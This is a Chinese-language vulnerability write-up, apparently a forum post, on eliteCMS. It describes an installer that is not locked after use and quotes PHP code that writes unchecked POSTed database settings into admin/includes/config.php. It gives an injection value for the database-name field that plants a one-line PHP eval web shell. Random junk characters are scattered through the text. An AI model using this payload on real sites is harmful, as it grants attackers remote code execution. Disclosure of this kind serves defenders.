eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
% S8 |' _& Y' s# b2 T
, [% W0 T/ k( B3 m: ^& Q另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
3 U, k0 {, b  [% D5 e3 t我们来看代码：
: P7 j3 j, F( d+ L
* s: m. ^; ?# g4 p...
$ r* p: \' Y0 Z8 pelseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
( P* s/ ~8 _( ]" B& c* |5 ~    $write = "<?php\n";
( \  v' m2 K, R$ @; J( @    $write .= "/**\n";
- l8 \" [2 h! Y    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
4 K2 I9 f: K7 t9 K& \& ^- f    $write .= "*\n";
( F$ t3 Q6 ]; Z6 k    $write .= "*/\n";
    $write .= "\n";
2 @; b! J* [; }8 c9 x    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
" D) A6 K- u! f* l) D: F  O; _    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
7 k/ Z. j, N9 K0 I1 I* w    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
8 o: u+ M6 R" y! Y) I$ g4 R3 @    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
8 F+ D" [  k7 _# `& r    $write .= "} \n";
    $write .= "?>\n";
: t8 j+ x5 ?+ i& |" Y, ?
5 t" i, u  `. q& T9 Z( w    $writer = fopen($file, 'w');
6 P6 ^9 |' N  ~; {8 A0 _# E...

9 g2 f+ M4 u7 ]4 B9 v在看代码：
$ i2 G, u. S$ b/ e
8 w4 D: o: R' {7 |, z- N$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$ t- n3 G( o' t7 |: E0 L' w) a$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
. Z" q/ [  e5 ]/ \" q
取值未作任何验证
- {5 R: I+ Z" i, \! k如果将数据库名POST数据：

  }1 f! Z4 P$ u0 B"?><?php eval($_POST[c]);?><?php
: _5 |- |' L! l/ v# U' \# }7 |
将导致一句话后门写入/admin/includes/config.php
, D  n4 i' F6 D, H2 E0 O9 v7 {